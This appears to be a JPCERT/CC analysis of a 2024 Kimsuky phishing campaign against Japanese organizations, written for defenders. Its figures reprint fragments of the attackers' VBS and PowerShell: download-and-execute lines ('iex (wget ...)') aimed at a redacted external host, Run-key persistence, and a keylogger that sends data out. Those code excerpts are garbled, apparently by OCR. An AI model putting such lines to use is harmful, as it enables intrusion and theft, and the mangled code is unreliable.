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JPCERT/CC has confirmed attack activities targeting Japanese organizations by an attack group called Kimsuky
in March 2024. This article introduces the attack methods of the group confirmed by JPCERT/CC.

Attack overview

In the attack we identified, the attacker sent a targeted attack email impersonating a security and diplomatic
organization. A zip file containing the following files with double file extensions was attached to the email. (File

names are omitted.)

(1) [omitted].docx[a large number of spaces].exe
(2) [omitted].docx[a large number of spaces].docx

(3) [omitted].docx[a large number of spaces].docx

To hide the file extension, each file name contains a large number of spaces. The target executes the EXE file in

(1), and it eventually leads to malware infection. Figure 1 shows the flow after the EXE file is executed.
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Figure 1: Flow after the EXE file is executed

The docx files (2) and (3) are decoy documents. The following section explains the infection flow after the EXE

file is executed.

Flow of infection
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When the EXE file (1) is executed, a VBS file is downloaded from an external source and executed using

wscript.exe. Figure 2 shows the downloaded VBS file.
on Error Resume Next:Sub TdgfFroc{p_cmd) :set Tdgf = Getlbject("winmogmts:winiZ process") rzet kRxdkl =
Getobject (Mwinngntsiroothoinyi) rset oat = kRxdkl.cet{"WiniZ Processsitartup”) iset gksefqg =
ost.8pawnInstance :gksefg.ShowWindow = 12:errReturn = Tdgf.Create(p cmd, Null, gksefq, pid):End Sub:uri =
"https:// ":pow cmd = "cmd Jc powershell -command ""iex {(wget
sxx/show php?query=50) .content; PokDoc -8lyer "zxx'""":pow_cmd = Replace{pow cmd, "zxxz", uri) :TdgfProc(
pow_cmd) :Set XDFs = Createdbject( "Wicript.fhell” ) :Rdxkx=xXDFs.ExpandEnvironmentitrings("%pUbLIci )&
"™ Pictureshdesktop.ini bak":Const MosSx = &HBO000001:strComputer = ".":5et oReg=GetObject(
"winmgmts: { impersonationlevel=impersonate} \\" & strComputer & "\root\default:stdRegProv™) :Xoses =

"goftware\MicrosoftiWindows\CurrentVersion\Run" :Posefds = "Clear Weh History":strValue = W3cript.FullName
& " //b //ervbscript " & Chr(34) & Rdxkx & Chr(34) :oReg.SetsStringvalue MoeSx,Xoses, Posefds,strvalue

Figure 2: Downloaded VBS file

The VBS file downloads PowerShell from the external source and calls the PokDoc function with the following

parameter.

PokDoc -Slyer [Destination URL]

In addition, it uses the Run key in the registry to configure the file C:\Users\Public\Pictures\desktop.ini.bak so

that it automatically starts via WScript.
Stealing information from the device

The PowerShell downloaded by the VBS file has a feature to collect information from the device. Figure 3 shows
the downloaded PowerShell.

JFunction PokDoc {
Param {[stringl] $Slyer)

$Script:upURL = §$Slyer;
Function Xoslkeiosks
1 {
$8criptwebReqUpload = HNew-Object Microsoft.PowerShell.Commands . WebRequestiession;
$8cript iwebReqUpload.UserAgent = "Mozilla/5.0 (Windows NT 10.x; Winod; =z6d] ApplelebHit/537.320
{KHTML, like Gecko) Chremo/87.0.4280.141 Safari/537.36 Edgo/87.0.664.75";$houndaryHex =
Mew-Chject bytel] H
for{ $ii = ;o§ii -1t ;o $ii )
1 {
S$boundaryHex[§ii] = Get-Random =-Minimum =Max imumn H
}
$Script:boundary = "----" + [Convert]::ToBase6dstring{$boundaryHex) ;
§Seript:webReqUpload.Headers .Add{"Content-Typs", "multipart/form-data;
boundary=58cript:boundary") ;

Figure 3: PowerShell with downloaded PokDoc function

When PokDoc function is executed by the VBS file, the following information on the device is collected, and the

data is sent to the URL provided in the parameter.

e System information

e Process list

e Network information

 List of files in specific user folders (Downloads, Documents, Desktop)

e User account information

Based on the above information, it is assumed that this is intended to check whether the device on which the EXE

file was executed is in an analysis environment such as a sandbox.
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Furthermore, after the information on the device is sent, a VBS file with the file name

C:\Users\Public\Pictures\desktop.ini.bak is created and executed. Figure 4 shows the VBS file to be created.

Sub WMEroc(p_cmd) iset wm = Getobject("winmgmts:winiZ process")izet ows = Getobject("winmgmts:iroothoimvz”
) :zet o8t = owa.Get("WinBZ_ProceasStartup") izet oconf = ost.SpawnInatance_:oconf.Showwindow = 12:errReturn
= wm.Create{p cmd, WNull, oconf, pid):End Sub:uri =

"https://] ":pow cmd = "cmd /c powershell -command ""iex (wget
wxx/show.phpiquery=107) .content; Infokey —ur "xzx'""":pow _cmd = Replace({pow cmd, "=xx", uri) :WMProc(
pow_cmd)

Figure 4: VBS file to be created

The VBS file to be created is similar to the one described earlier. It downloads PowerShell from the external

source and calls InfoKey function with the following parameter.

InfoKey -ur [Destination URL]

Keylogger

PowerShell downloaded by the VBS file functions as a keylogger. Figure 5 shows an example of downloaded
PowerShell.

IFunction InfoKey {

Param
[string]l $ur

)

$Script:webReqUpload = $null;

$Seript:boundary = "";

$Script:upURL = $ur;

Function InitWebReqSessions f
$SeriptwebReqUpload = New-Object Microsoft.PowerShell. Commands .WebRequestSession:
§$8eript webReqUpload . Userfgent = "Mozilla/5.0 (Windows NT 10.x; wined; =64) AppleWebKit/537.36
{EHTML, like Gecko) Chremo/87.0.4280.141 safari/537.36 Edgo/s87.0.664.75";
$boundaryHex = New-Chject byte[] H
for( $ii = 0 ; $ii -1t ;o$ii ) |

S$boundaryHex[§ii] = Get-Random =Minimum =Maximum H

¥

Figure 5: PowerShell containing the downloaded InfoKey function

When the InfoKey function is called, the file C:\Users\Public\Music\desktop.ini.bak is created, and then the
stolen keystrokes and clipboard information are saved. The contents of the file are sent to the URL provided in the

parameter.
Associated Attacks

It is reported that Kimsuky is using VBS and PowerShell introduced in this article to target organizations in South
Korea [1], and there is another report of a similar TTP-based attack [2]. Therefore, we consider that Kimsuky is

behind this case as well.
In closing

Although there have been few reports of attack activities by Kimsuky targeting organizations in Japan, there is a
possibility that Japan is also being actively targeted. The most recent report says that malware in CHM format is
used to execute the keylogger mentioned in this article [1], and we need to pay attention to similar attacks in the

future.
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- Kota Kino
(Translated by Takumi Nakano)
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